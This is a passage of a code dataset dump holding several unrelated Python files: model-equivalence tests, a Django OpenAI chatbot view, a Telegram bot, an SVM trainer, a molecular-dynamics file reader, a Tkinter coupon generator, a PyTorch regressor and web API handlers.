OPTConfig\nfrom transformers.models.opt.modeling_opt import OPTForCausalLM\n\nfrom flash_attn.models.gpt import GPTLMHeadModel\nfrom flash_attn.models.opt import remap_state_dict_opt, opt_config_to_gpt2_config\nfrom flash_attn.utils.pretrained import state_dict_from_pretrained\n\n\n@pytest.mark.parametrize('model_name', [\"facebook/opt-125m\", \"facebook/opt-350m\", \"facebook/opt-1.3b\"])\n# @pytest.mark.parametrize('model_name', [\"facebook/opt-350m\"])\ndef test_opt_state_dict(model_name):\n config = opt_config_to_gpt2_config(OPTConfig.from_pretrained(model_name))\n pretrained_state_dict = remap_state_dict_opt(state_dict_from_pretrained(model_name), config)\n model = GPTLMHeadModel(config)\n state_dict = model.state_dict()\n assert state_dict.keys() == pretrained_state_dict.keys()\n for k in state_dict.keys():\n assert state_dict[k].shape == pretrained_state_dict[k].shape\n\n\n@pytest.mark.parametrize('model_name', [\"facebook/opt-125m\", \"facebook/opt-350m\", \"facebook/opt-1.3b\"])\n# @pytest.mark.parametrize('model_name', [\"facebook/opt-350m\"])\ndef test_opt_optimized(model_name):\n \"\"\"Check that our implementation of OPT (without all optimizations enabled) matches the\n HF implementation: the output of our forward pass in fp16 should be around the same as the HF\n forward pass in fp16, when compared to the HF forward pass in fp32.\n \"\"\"\n dtype = torch.float16\n device = 'cuda'\n config = opt_config_to_gpt2_config(OPTConfig.from_pretrained(model_name))\n config.use_flash_attn = True\n config.fused_bias_fc = True\n config.fused_mlp = True\n config.fused_dropout_add_ln = True\n # Only prenorm supports residual_in_fp32\n config.residual_in_fp32 = getattr(config, 'prenorm', True)\n config.pad_vocab_size_multiple = 8\n\n model = GPTLMHeadModel.from_pretrained(model_name, config, device=device, dtype=dtype)\n\n model_ref = OPTForCausalLM.from_pretrained(model_name).to(device=device)\n model_hf = OPTForCausalLM.from_pretrained(model_name, torch_dtype=dtype).to(device=device)\n\n model.eval()\n model_ref.eval()\n model_hf.eval()\n\n torch.manual_seed(0)\n batch_size = 2\n max_seqlen = 256\n seqlens = torch.randint(max_seqlen // 2, max_seqlen + 1, (batch_size,), device='cuda')\n input_ids = torch.randint(0, config.vocab_size, (batch_size, max_seqlen), dtype=torch.long,\n device='cuda')\n if model_name != 'facebook/opt-350m': # The OPT-350m projects the embeddings to dimension 512\n out = model.transformer(input_ids)\n out_hf = model_hf.model(input_ids).last_hidden_state\n out_ref = model_ref.model(input_ids).last_hidden_state\n\n print(f'Output max diff: {(out - out_ref).abs().max().item()}')\n print(f'Output mean diff: {(out - out_ref).abs().mean().item()}')\n print(f'HF fp16 max diff: {(out_hf - out_ref).abs().max().item()}')\n print(f'HF fp16 mean diff: {(out_hf - out_ref).abs().mean().item()}')\n assert (out - out_ref).abs().max().item() < 3 * (out_hf - out_ref).abs().max().item()\n\n logits = model(input_ids).logits\n logits_hf = model_hf(input_ids).logits\n logits_ref = model_ref(input_ids).logits\n\n print(f'Logits max diff: {(logits - logits_ref).abs().max().item()}')\n print(f'Logits mean diff: {(logits - logits_ref).abs().mean().item()}')\n print(f'HF fp16 max diff: {(logits_hf - logits_ref).abs().max().item()}')\n print(f'HF fp16 mean diff: {(logits_hf - logits_ref).abs().mean().item()}')\n assert (logits - logits_ref).abs().max().item() < 3 * (logits_hf - logits_ref).abs().max().item()\n","repo_name":"HazyResearch/flash-fft-conv","sub_path":"examples/hyena/flash-attention/tests/models/test_opt.py","file_name":"test_opt.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"6063970641","text":"import logging\r\nfrom django.http import HttpResponse\r\nfrom django.views.decorators.csrf import csrf_protect\r\nfrom django.shortcuts import render\r\nimport openai, os\r\nfrom dotenv import load_dotenv\r\n\r\nlogger = logging.getLogger(\"django\")\r\nload_dotenv()\r\ndef index(request): \r\n \r\n return HttpResponse(\"Hello, world. You're at the polls index.\")\r\n\r\n@csrf_protect\r\ndef chatBot(request):\r\n api_key= os.getenv(\"OPENAI_KEY\", None)\r\n chatbot_resppons=None\r\n logger.info(request)\r\n print(logger)\r\n if api_key is not None and request.method == 'POST':\r\n model='text-davinci-001'\r\n user_input= request.POST.get('input_value')\r\n\r\n prompt= f\"translate this tax to polish: {user_input}\"\r\n prompt2= f\"if the question is related to weather - answer it: {user_input} ,else return Nie wiem\"\r\n openai.api_key = api_key\r\n chatbot_resppons= openai.Completion.create(\r\n model=model,\r\n prompt=prompt2,\r\n max_tokens=100,\r\n temperature=0.7\r\n )\r\n user_input= request.POST.get('input_value')\r\n # model_list= openai.Model.list()\r\n # print(model_list)\r\n respons = chatbot_resppons['choices'][0]\r\n print((prompt2))\r\n respons = chatbot_resppons['choices'][0]['text']\r\n return render(request, 'main.html',{\"respons\":respons})\r\n return HttpResponse(\"Hello, world. You're at the polls index.\")\r\n\r\n# chatBot(\"request\")","repo_name":"Nevo0/apiChatGPT","sub_path":"open_ai_chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72950608372","text":"import os\nfrom aiogram import Bot, Dispatcher, executor, types\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nbot = Bot(os.getenv('TOKEN_TG'))\ndp = Dispatcher(bot)\nstickers = {\n 'hot_cherry': 'CAACAgIAAxkBAAEHfExj1SLn5WdWOZQI50pJc9UROir_fwACHAADwDZPE8GCGtMs_g7hLQQ',\n 'cat': 'CAACAgIAAxkBAAEHfhNj1YoWBpH3MMpv7w5XAAG2_K5bea8AArIMAAJHbdFLadSmkPiPjistBA',\n\n}\n\nhelp_dict = {\n '/help': 'Все команды бота',\n '/give': 'Получить стикер с котиком',\n}\n\n\nasync def on_startup(_):\n print(\"Я запустился!\")\n\n\n@dp.message_handler(commands=['help'])\nasync def help_handler(message: types.Message):\n reply_text = ''\n for command, description in help_dict.items():\n reply_text += f\"{command} - {description}\\n\"\n await message.answer(text=reply_text, parse_mode='HTML')\n\n\n@dp.message_handler(commands=['give'])\nasync def give_handler(message: types.Message):\n await message.answer(text='Смотри какой смешной кот ❤')\n await bot.send_sticker(message.from_user.id, sticker=stickers.get('cat'))\n\n\n@dp.message_handler()\nasync def heart_reply(message: types.Message):\n if '❤' in message.text:\n await message.reply(text='🖤')\n checks_count = message.text.count('✅')\n if checks_count > 0:\n await message.reply(text=f\"There's {checks_count} checks in your message\")\n\n\n@dp.message_handler(content_types=['sticker'])\nasync def send_sticker_id(message:types.Message):\n await message.answer(text=f\"Sticker's ID is \\n{message.sticker.file_id}\")\n\nif __name__ == '__main__':\n executor.start_polling(dp, on_startup=on_startup)\n","repo_name":"Maxim-Skachkov/tg_bot","sub_path":"lessons/lesson3/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23603617900","text":"import numpy as np\nimport math\nimport sys\n\n\ndef parse_fn(fn, sparse_dims=-1, use_bias_term=False):\n if sparse_dims >= 0:\n return sparse_parse(fn, sparse_dims, use_bias_term)\n labels = []\n vals = []\n for line in open(fn):\n if line[0] in \"#\\n\":\n continue\n toks = line.strip().split()\n labels.append(int(toks[-1]))\n vals.append(list(map(float, toks[:-1])))\n labelset = set(labels)\n if len(labelset) != 2:\n raise RuntimeError(\"Wrong number of labels: %i\" % len(labelset))\n sortlabelset = sorted(labelset)\n convdict = {sortlabelset[0]: -1, sortlabelset[1]: 1}\n for i in range(len(labels)):\n labels[i] = convdict[labels[i]]\n return np.array(labels), np.array(vals)\n\n\ndef sparse_parse(fn, ndims, use_bias_term=False):\n labels = []\n vals = []\n for line in open(fn):\n if line[0] in \"#\\n\":\n continue\n toks = line.strip().split()\n labels.append(int(toks[0]))\n if use_bias_term:\n row = np.zeros((ndims + 1,))\n row[-1] = 1.\n else:\n row = np.zeros((ndims,))\n for tok in toks[1:]:\n subtoks = tok.split(\":\")[:2]\n row[int(subtoks[0]) - 1] = float(subtoks[1])\n vals.append(row)\n assert len(labels) == len(vals)\n labelset = set(labels)\n if len(labelset) != 2:\n raise RuntimeError(\"Wrong number of labels: %i\" % len(labelset))\n sortlabelset = sorted(labelset)\n convdict = {sortlabelset[0]: -1, sortlabelset[1]: 1}\n for i in range(len(labels)):\n labels[i] = convdict[labels[i]]\n return np.array(labels), np.array(vals)\n\n\nclass SVM(object):\n def __init__(self, path, lb, fixed_eta=-1, rescale=True, project=True,\n init_from_data=True, sparse_dims=-1, use_bias_term=False):\n self.lb = lb\n self.t = 0\n self.labels, self.data = parse_fn(path, sparse_dims,\n use_bias_term=use_bias_term)\n self.w = np.zeros((len(self.data[0]),))\n self.fixed_eta = fixed_eta\n self.rescale = rescale\n self.project = project\n if init_from_data:\n for label, dp in zip(self.labels, self.data):\n self.w += dp * label * np.random.random()\n print(\"Rescaling\" if rescale else \"Not rescaling\")\n print(\"Projecting\" if project else \"Not projecting\")\n print(\"init from data\" if init_from_data else \"Not init from data\")\n\n def add(self, bs=1):\n if self.fixed_eta < 0:\n eta = 1 / (self.lb * (self.t + 1))\n else:\n eta = self.fixed_eta\n # print(eta)\n tmp = np.zeros((len(self.w),))\n for i in range(bs):\n index = np.random.randint(0, len(self.labels))\n if np.dot(self.w, self.data[index, :]) * self.labels[index] < 1.:\n tmp += self.data[index, :] * self.labels[index]\n tmp *= eta / bs\n self.w += tmp\n if self.rescale:\n scale = 1 - eta * self.lb\n self.w *= scale\n if self.project:\n wnorm = np.linalg.norm(self.w)\n if wnorm > 0.:\n frac = 1 / math.sqrt(self.lb) / np.linalg.norm(self.w)\n if frac < 1:\n self.w *= frac\n self.t += 1\n\n def loss(self):\n return 1. * sum(np.dot(self.w, self.data[i, :]) * self.labels[i] < 0\n for i in range(len(self.labels))) / len(self.labels)\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--lb\", \"-l\", type=float, default=1.)\n parser.add_argument(\"path\")\n parser.add_argument(\"--no-rescale\", action='store_true')\n parser.add_argument(\"--no-project\", action='store_true')\n parser.add_argument(\"--outer\", type=int, default=10)\n parser.add_argument(\"--inner\", type=int, default=1000)\n parser.add_argument(\"--fixed-eta\", type=float, default=-1)\n parser.add_argument(\"--bs\", type=int, default=1)\n parser.add_argument(\"--init-from-data\", action='store_true')\n parser.add_argument(\"--sparse-dims\", \"-s\", type=int, default=-1)\n parser.add_argument(\"--test\", \"-t\")\n parser.add_argument(\"--bias\", action=\"store_true\")\n args = parser.parse_args()\n svm = SVM(args.path, args.lb, fixed_eta=args.fixed_eta,\n rescale=not args.no_rescale, project=not args.no_project,\n init_from_data=args.init_from_data, sparse_dims=args.sparse_dims,\n use_bias_term=args.bias)\n for j in range(args.outer):\n for i in range(args.inner):\n svm.add(args.bs)\n print(\"After %i iterations, loss: %f. wnorm squared: %f\"\n % ((j + 1) * args.inner, svm.loss(), np.linalg.norm(svm.w)))\n print(\"weights: \", svm.w)\n sys.stderr.write(\"Final loss: %f. Total iterations: %i.\\n\" %\n (svm.loss(), args.outer * args.inner))\n if args.test:\n test_labels, test_data = parse_fn(args.test, args.sparse_dims,\n args.bias)\n loss = 1. * sum(np.dot(svm.w, test_data[i, :]) * test_labels[i] < 0\n for i in range(len(test_labels))) / len(test_labels)\n sys.stderr.write(\"Test loss: %f.\\n\" % loss)\n sys.exit(0)\n","repo_name":"dnbaker/stochasticSVM","sub_path":"scripts/tinysvm.py","file_name":"tinysvm.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"45009871166","text":"from __future__ import (absolute_import, division,\n print_function, unicode_literals)\n\nfrom six.moves import range\n\nimport numpy as np\n\nfrom . import base\nfrom . import core\n\n_DLPOLY_UNITS = {'length': 'Angstrom', 'velocity': 'Angstrom/ps', 'time': 'ps'}\n\n\nclass Timestep(base.Timestep):\n def _init_unitcell(self):\n return np.zeros((3, 3), dtype=np.float32, order='F')\n\n @property\n def dimensions(self):\n return core.triclinic_box(*self._unitcell)\n\n @dimensions.setter\n def dimensions(self, new):\n self._unitcell[:] = core.triclinic_vectors(new)\n\n\nclass ConfigReader(base.SingleFrameReaderBase):\n \"\"\"DLPoly Config file Reader\n\n .. versionadded:: 0.11.0\n \"\"\"\n format = 'CONFIG'\n units = _DLPOLY_UNITS\n _Timestep = Timestep\n\n def _read_first_frame(self):\n unitcell = np.zeros((3, 3), dtype=np.float32, order='F')\n\n with open(self.filename, 'r') as inf:\n self.title = inf.readline().strip()\n levcfg, imcon, megatm = np.int64(inf.readline().split()[:3])\n if not imcon == 0:\n unitcell[0][:] = inf.readline().split()\n unitcell[1][:] = inf.readline().split()\n unitcell[2][:] = inf.readline().split()\n\n ids = []\n coords = []\n if levcfg > 0:\n has_vels = True\n velocities = []\n else:\n has_vels = False\n if levcfg == 2:\n has_forces = True\n forces = []\n else:\n has_forces = False\n\n line = inf.readline().strip()\n # Read records infinitely\n while line:\n try:\n idx = int(line[8:])\n except ValueError: # dl_poly classic doesn't have this\n pass\n else:\n ids.append(idx)\n\n xyz = np.float32(inf.readline().split())\n coords.append(xyz)\n if has_vels:\n vxyz = np.float32(inf.readline().split())\n velocities.append(vxyz)\n if has_forces:\n fxyz = np.float32(inf.readline().split())\n forces.append(fxyz)\n\n line = inf.readline().strip()\n\n coords = np.array(coords, dtype=np.float32, order='F')\n if has_vels:\n velocities = np.array(velocities, dtype=np.float32, order='F')\n if has_forces:\n forces = np.array(forces, dtype=np.float32, order='F')\n self.n_atoms = len(coords)\n\n if ids:\n # If we have indices then sort based on them\n ids = np.array(ids)\n order = np.argsort(ids)\n\n coords = coords[order]\n if has_vels:\n velocities = velocities[order]\n if has_forces:\n forces = forces[order]\n\n ts = self.ts = self._Timestep(self.n_atoms,\n velocities=has_vels,\n forces=has_forces,\n **self._ts_kwargs)\n ts._pos = coords\n if has_vels:\n ts._velocities = velocities\n if has_forces:\n ts._forces = forces\n if not imcon == 0:\n ts._unitcell = unitcell\n\n ts.frame = 0\n\n\nclass HistoryReader(base.ReaderBase):\n \"\"\"Reads DLPoly format HISTORY files\n\n .. versionadded:: 0.11.0\n \"\"\"\n format = 'HISTORY'\n units = _DLPOLY_UNITS\n _Timestep = Timestep\n\n def __init__(self, filename, **kwargs):\n super(HistoryReader, self).__init__(filename, **kwargs)\n\n # \"private\" file handle\n self._file = open(self.filename, 'r')\n self.title = self._file.readline().strip()\n self._levcfg, self._imcon, self.n_atoms = np.int64(self._file.readline().split()[:3])\n self._has_vels = True if self._levcfg > 0 else False\n self._has_forces = True if self._levcfg == 2 else False\n\n self.ts = self._Timestep(self.n_atoms,\n velocities=self._has_vels,\n forces=self._has_forces,\n **self._ts_kwargs)\n self._read_next_timestep()\n\n def _read_next_timestep(self, ts=None):\n if ts is None:\n ts = self.ts\n\n line = self._file.readline() # timestep line\n if not line.startswith('timestep'):\n raise IOError\n if not self._imcon == 0:\n ts._unitcell[0] = self._file.readline().split()\n ts._unitcell[1] = self._file.readline().split()\n ts._unitcell[2] = self._file.readline().split()\n\n # If ids are given, put them in here\n # and later sort by them\n ids = []\n\n for i in range(self.n_atoms):\n line = self._file.readline().strip() # atom info line\n try:\n idx = int(line.split()[1])\n except IndexError:\n pass\n else:\n ids.append(idx)\n\n # Read in this order for now, then later reorder in place\n ts._pos[i] = self._file.readline().split()\n if self._has_vels:\n ts._velocities[i] = self._file.readline().split()\n if self._has_forces:\n ts._forces[i] = self._file.readline().split()\n\n if ids:\n ids = np.array(ids)\n # if ids aren't strictly sequential\n if not all(ids == (np.arange(self.n_atoms) + 1)):\n order = np.argsort(ids)\n ts._pos[:] = ts._pos[order]\n if self._has_vels:\n ts._velocities[:] = ts._velocities[order]\n if self._has_forces:\n ts._forces[:] = ts._forces[order]\n\n ts.frame += 1\n return ts\n\n def _read_frame(self, frame):\n \"\"\"frame is 0 based, error checking is done in base.getitem\"\"\"\n self._file.seek(self._offsets[frame])\n self.ts.frame = frame - 1 # gets +1'd in read_next_frame\n return self._read_next_timestep()\n\n @property\n def n_frames(self):\n try:\n return self._n_frames\n except AttributeError:\n self._n_frames = self._read_n_frames()\n return self._n_frames\n\n def _read_n_frames(self):\n \"\"\"Read the number of frames, and the offset for each frame\n\n offset[i] - returns the offset in bytes to seek into the file to be\n just before the frame starts\n \"\"\"\n offsets = self._offsets = []\n\n with open(self.filename, 'r') as f:\n n_frames = 0\n\n f.readline()\n f.readline()\n position = f.tell()\n line = f.readline()\n while line.startswith('timestep'):\n offsets.append(position)\n n_frames += 1\n if not self._imcon == 0: # box info\n f.readline()\n f.readline()\n f.readline()\n for _ in range(self.n_atoms):\n f.readline()\n f.readline()\n if self._has_vels:\n f.readline()\n if self._has_forces:\n f.readline()\n position = f.tell()\n line = f.readline()\n\n return n_frames\n\n def _reopen(self):\n self.close()\n self._file = open(self.filename, 'r')\n self._file.readline() # header is 2 lines\n self._file.readline()\n self.ts.frame = -1\n\n def close(self):\n self._file.close()\n","repo_name":"dtklinh/GBRDE","sub_path":"venv/lib/python3.7/site-packages/MDAnalysis/coordinates/DLPoly.py","file_name":"DLPoly.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"39166303552","text":"# sconto system with coupon codes\n\nfrom tkinter import *\nimport string\nimport random\nimport os\nimport re\n\nVERSION = 2.1\n\nglobal count\ncount = 0\nglobal path\npath = r\"codes\"\nfor root, dirs, files in os.walk(path):\n print(root)\n for i in files:\n count = count + 1\n\n\n#create codes Folder if not existing\nos.makedirs(path, exist_ok=True)\n#create codes Folder if not existing\n\ndef renamefile():\n os.chdir(path)\n count = 1\n for file in os.listdir():\n os.rename(file, \"Code\" + str(count))\n count = count + 1\n\n count = 1\n for file in os.listdir():\n os.rename(file, \"Code\" + str(count) + \".txt\")\n count = count + 1\n\n os.chdir(\"..\")\n\ndef countrefresh():\n global count\n count = 0\n for root, dirs, files in os.walk(path):\n print(root)\n for i in files:\n count = count + 1\n\n noc.config(text=f\"{count}/10\")\n\n if count > 7:\n noc.config(foreground=\"gold\")\n if count == 10:\n noc.config(foreground=\"red\")\n\n#global varia\n\ndef einloesen():\n\n einlowin = Tk()\n einlowin.title(\"Einloesen\")\n\n helptxt = Label(einlowin, text=\"Bitte geben Sie ihren Code ein:\")\n helptxt2 = Label(einlowin, text=\"(Code wird dann gelöscht!)\")\n helptxt2.config(font=(\"Bold\", 7))\n\n codeenterframe = LabelFrame(einlowin, text=\"Eingabe\")\n global codeenter\n codeenter = Entry(codeenterframe, width=20)\n\n submit = Button(einlowin, text=\"Submit\", height=1, width=20, command=submited)\n\n global einlcode\n einlcode = Label(einlowin)\n einlcode.config(font=(\"Bold\", 12))\n\n #place and mainloop\n helptxt.place(x=0, y=10)\n helptxt2.place(x=0, y=25)\n codeenterframe.place(x=37, y=100)\n codeenter.pack()\n submit.place(x=25, y=150)\n einlcode.place(x=60, y=50)\n einlowin.mainloop()\n\ndef submited():\n codeofuser = codeenter.get()\n\n codeofuser = codeofuser + '\\n'\n\n for i in range(count):\n i = i + 1\n spfile = open(f\"codes\\\\Code{i}.txt\", 'r')\n codeoffile = spfile.readline()\n if codeoffile == codeofuser:\n prozent = spfile.readline()\n print(f\"Dieser Code hat einen Rabbat von {prozent}%\")\n einlcode.config(text=f\"Rabatt: {prozent}%\")\n spfile.close()\n os.remove(f\"codes\\\\Code{i}.txt\")\n\n renamefile()\n countrefresh()\n break\n else:\n print(\"Ungültiger Code\")\n einlcode.config(text=f\"Ungültig!\")\n\ndef helpwin():\n helpwindow = Tk()\n helpwindow.title(\"?\")\n\n # label\n\n helptxt = Label(helpwindow, text=\"Geben Sie zuerst den % Satz an!\")\n helptxt2 = Label(helpwindow, text=\"Klicken Sie dann auf \"\"Generate\"\"\")\n helptxt3 = Label(helpwindow, text=\"um einen neuen Code zu generieren!\")\n helptxt4 = Label(helpwindow, text=\"Nach einlösen des Codes ist er\")\n helptxt5 = Label(helpwindow, text=\"nicht mehr gültig!\")\n\n # mainloop & place\n\n helptxt.place(x=0, y=0)\n helptxt2.place(x=0, y=15)\n helptxt3.place(x=0, y=30)\n helptxt4.place(x=0, y=60)\n helptxt5.place(x=0, y=75)\n helpwindow.mainloop()\n\n\ndef gencode():\n global randlet\n randlet = ''\n global proz\n global count\n\n CodeLabel = Label(window, text=\" \")\n CodeLabel.config(text=\" \")\n CodeLabel.place(x=150, y=150)\n\n copybut = Button(window, text=\"Copy\", height=1, width=4, command=copytxt)\n copybut.place(x=700, y=225)\n\n proz = prozentsatz.get()\n\n if proz != \"\":\n global myerrlabel\n myerrlabel = Label(window)\n if int(proz) < 1:\n myerrlabel.config(text=\"Sie müssen einen g��ltigen Wert angeben [1 - 100]!\")\n myerrlabel.config(foreground=\"red\")\n myerrlabel.place(y=435, x=265)\n\n\n elif int(proz) > 100:\n myerrlabel.config(text=\"Sie müssen einen gültigen Wert angeben [1 - 100]!\")\n myerrlabel.config(foreground=\"red\")\n myerrlabel.place(y=435, x=265)\n\n else:\n if count < 10:\n\n count = count + 1\n #print(count)\n noc.config(text=f\"{count}/10\")\n\n if count > 7:\n noc.config(foreground=\"gold\")\n if count == 10:\n noc.config(foreground=\"red\")\n\n #print(proz)\n prozentsatz.delete(0, END)\n myerrlabel.destroy()\n\n randlet = randlet + random.choice(string.ascii_letters)\n randlet = randlet + str(random.randint(0, 9))\n randlet = randlet + random.choice(string.ascii_letters)\n randlet = randlet + str(random.randint(0, 9))\n randlet = randlet + random.choice(string.ascii_letters)\n randlet = randlet + str(random.randint(0, 9))\n randlet = randlet + random.choice(string.ascii_letters)\n randlet = randlet + str(random.randint(0, 9))\n\n file = open(f\"codes\\\\Code{count}.txt\", 'w')\n file.write(randlet)\n file.write(\"\\n\")\n file.write(proz)\n\n file.close()\n\n CodeLabel.config(text=\"Code:\" + \" \" + randlet + \" \")\n CodeLabel.config(font=(\"Bold\", 50))\n\n else:\n CodeLabel.config(text=\"Error! 10/10 \")\n CodeLabel.config(font=(\"Bold\", 50))\n copybut.config(state='disable')\n else:\n CodeLabel.config(text=\"Error! \")\n CodeLabel.config(font=(\"Bold\", 50))\n copybut.config(state='disable')\n\ndef copytxt():\n copywin = Tk()\n copywin.title(\"Copy\")\n\n copylab = Text(copywin, height=10, width=40)\n copylab.insert('end', randlet)\n\n copylab.pack()\n\n copywin.mainloop()\n\n\n# window with geo\nwindow = Tk()\nwindow.title(f\"Scontosystem v{VERSION}\")\nwindow.geometry(\"800x500\")\n\n# Button/labels/Frames\nhelp = Button(window, text=\"Help\", height=1, width=4, command=helpwin)\n\ngen = Button(window, text=\"Generate\", height=3, width=20, command=gencode)\n\nwelc = Label(window, text=f\"Scontosystem v{VERSION}\")\nwelc.config(font=(\"Courier\", 30))\n\neinlo = Button(window, text=\"Einloesen!\", height=1, width=7, command=einloesen)\n\n\nglobal noc\nnoc = Label(window, text=f\"{count}/10\")\n\nprozentframe = LabelFrame(window, text=\"Prozentsatz angeben\")\nprozentsatz = Entry(prozentframe, width=20)\n\n\n#colorise the number\ncountrefresh()\n#colorise the number\n\n\n# place and mainloop\nhelp.place(x=757, y=5)\nnoc.place(x=700, y=8)\neinlo.place(x=4, y=5)\nwelc.place(x=170, y=50)\ngen.place(x=500, y=350)\nprozentframe.place(x=150, y=350)\nprozentsatz.pack()\nwindow.mainloop()","repo_name":"Hubisohn/SkontoSystem","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"23551445265","text":"from torch import nn\nfrom torch.utils.data import Dataset, DataLoader, random_split\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport json\nimport numpy as np\nimport torch\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nfrom sklearn.preprocessing import StandardScaler\n\nEPOCHS = 100\n\nclass SsimDataset(Dataset):\n def __init__(self):\n with open(\"../dynamic_ssim_multimodel/dataset.json\", 'r') as f:\n data = json.load(f)\n self.dataset = list()\n for sample in data[\"samples\"]:\n pos_ref = sample[\"pos_ref\"]\n lod_id = data[\"lod_names\"].index(sample[\"lod_name\"])\n fps = sample[\"fps\"] / 100.0\n self.dataset.append({\"input\": np.array(pos_ref + [lod_id]), \"output\": np.array([fps])})\n\n def __len__(self):\n return len(self.dataset)\n\n def __getitem__(self, idx):\n return self.dataset[idx]\n\nclass NeuralNetwork(nn.Module):\n def __init__(self, dropout = 0):\n super(NeuralNetwork, self).__init__()\n hidden_nodes = 256\n self.linear_relu_stack = nn.Sequential(\n nn.Linear(4, hidden_nodes),\n nn.ReLU(),\n nn.Dropout(dropout),\n nn.Linear(hidden_nodes, hidden_nodes),\n nn.ReLU(),\n nn.Dropout(dropout),\n nn.Linear(hidden_nodes, 1)\n )\n\n def forward(self, x):\n logits = self.linear_relu_stack(x)\n return logits\n\ndef train(dataloader, model, loss_fn, optimizer, device):\n size = len(dataloader.dataset)\n train_loss = 0\n for batch, data in enumerate(dataloader):\n input = data[\"input\"].float()\n label = data[\"output\"].float()\n \n X, y = input.to(device), label.to(device)\n\n # Compute prediction error\n pred = model(X)\n loss = loss_fn(pred, y)\n train_loss += loss.item()\n\n # Backpropagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n train_loss /= size\n print(f\"Train avg loss: {train_loss:>8f}\")\n return train_loss\n\ndef eval(dataloader, model, loss_fn, device, print_example=False):\n size = len(dataloader.dataset)\n model.eval()\n test_loss = 0\n with torch.no_grad():\n for batch, data in enumerate(dataloader):\n input = data[\"input\"].float()\n label = data[\"output\"].float()\n \n X, y = input.to(device), label.to(device)\n pred = model(X)\n test_loss += loss_fn(pred, y).item()\n test_loss /= size\n print(f\"Eval avg loss: {test_loss:>8f} \\n\")\n\n if print_example:\n print(\"example input: \" + str(input))\n print(\"example prediction: \" + str(pred))\n print(\"example label: \" + str(label))\n return test_loss\n\ndef main():\n dataset = SsimDataset()\n\n print(\"example sample\")\n print(dataset.__getitem__(0))\n\n train_samples = int(dataset.__len__() * 0.8)\n eval_samples = dataset.__len__() - train_samples\n train_set, eval_set = random_split(dataset, [train_samples, eval_samples])\n\n train_dataloader = DataLoader(train_set, batch_size=4, shuffle=True)\n eval_dataloader = DataLoader(eval_set, batch_size=4, shuffle=True)\n print(next(iter(train_dataloader)))\n\n # Get cpu or gpu device for training.\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n print(\"Using {} device\".format(device))\n\n model = NeuralNetwork().to(device)\n print(model)\n\n # training\n loss_fn = nn.MSELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-3)\n scheduler = ReduceLROnPlateau(optimizer, 'min', verbose=True, factor=0.7)\n\n train_history = list()\n eval_history = list()\n for t in range(EPOCHS):\n print(f\"Epoch {t+1}\\n-------------------------------\")\n train_loss = train(train_dataloader, model, loss_fn, optimizer, device)\n val_loss = eval(eval_dataloader, model, loss_fn, device, t%20==0)\n scheduler.step(val_loss)\n train_history.append(train_loss)\n eval_history.append(val_loss)\n print(\"Done!\")\n\n # plot results\n plt.plot(train_history, label=\"train\")\n plt.plot(eval_history, label=\"validation\")\n plt.xlabel(\"epoch\")\n plt.ylabel(\"MSE\")\n plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n main()","repo_name":"frankplus/Deep-3D-optimization","sub_path":"PythonScripts/fps_predictor/fps_predictor.py","file_name":"fps_predictor.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"27175937993","text":"from django.shortcuts import render\nfrom django.views import View\nfrom django.conf import settings\nimport requests\n\n# Create your views here.\nclass MainPage(View):\n def get(self, request, *args, **kwargs):\n city = request.GET.get('city', 'Manila')\n url = f\"https://api.openweathermap.org/data/2.5/weather?q={city}&appid={settings.API_KEY}\"\n data = requests.get(url).json()\n \n payload = {\n 'city': data['name'],\n 'weather': data['weather'][0]['main'],\n 'icon': data['weather'][0]['icon'],\n 'fahrenheit_temperature': round((data['main']['temp'] - 273.15) * (9/5) + 32, 2),\n 'celsius_temperature': round(data['main']['temp'] - 273.15, 2),\n 'pressure': data['main']['pressure'],\n 'humidity': data['main']['humidity'],\n 'description': data['weather'][0]['description']\n }\n\n if payload['city'].find('City') == -1:\n payload['city'] = payload['city'] + ' City'\n \n context = {\n 'data': payload\n }\n\n print(round(payload['fahrenheit_temperature'], 2))\n\n return render(request, \"forecast/home.html\", context)\n","repo_name":"Jodeth1212/WeatherForecastDjango","sub_path":"forecast/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22047705855","text":"from app.models.product import Product\nfrom app.db import database\nfrom app.api_models import BaseResponseModel\nfrom app.api_models.product_detail_model import ProductDetailResponse\n\nfrom fastapi.exceptions import HTTPException\n\n\nclass GetProductDetailResponse(BaseResponseModel):\n class Config:\n schema_extra = {\n 'example': {\n 'data': {\n 'id': 10,\n 'barcode': '12345',\n 'name': 'Product 1',\n 'price': 100000,\n 'created_at': '2022-05-20 21:00'\n },\n 'meta': {},\n 'message': 'Success',\n 'success': True,\n 'code': 200\n }\n }\n\n\nasync def get_detail(id: int):\n query = Product.select().where(id == Product.c.id)\n detail = await database.fetch_one(query=query)\n\n if not detail:\n raise HTTPException(404, detail='Product Not Found')\n\n return GetProductDetailResponse(\n data=ProductDetailResponse(\n id=detail.id,\n barcode=detail.barcode,\n name=detail.name,\n 